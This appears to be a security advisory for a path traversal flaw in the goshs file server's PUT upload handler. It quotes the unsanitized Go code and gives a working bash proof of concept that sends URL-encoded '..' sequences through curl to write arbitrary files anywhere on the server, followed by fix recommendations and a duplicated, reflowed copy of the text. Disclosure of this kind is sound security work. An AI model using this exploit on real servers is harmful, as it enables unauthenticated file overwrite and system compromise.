Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
References
Summary
httpserver/updown.go:20-69This finding affects the default configuration, no flags or authentication required.
Details
File:
httpserver/updown.go:20-69Trigger:
PUT /<path>(server.go:57-59 routes directly toput())The handler uses
req.URL.Pathraw to build the save path. Nofilepath.Clean, no..check, no webroot containment.UploadFolderdefaults toWebroot(main.go:386-388). The path is pure string concatenation with no validation.Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
To execute it:
./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/canRecommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method
returnis called after every error response.References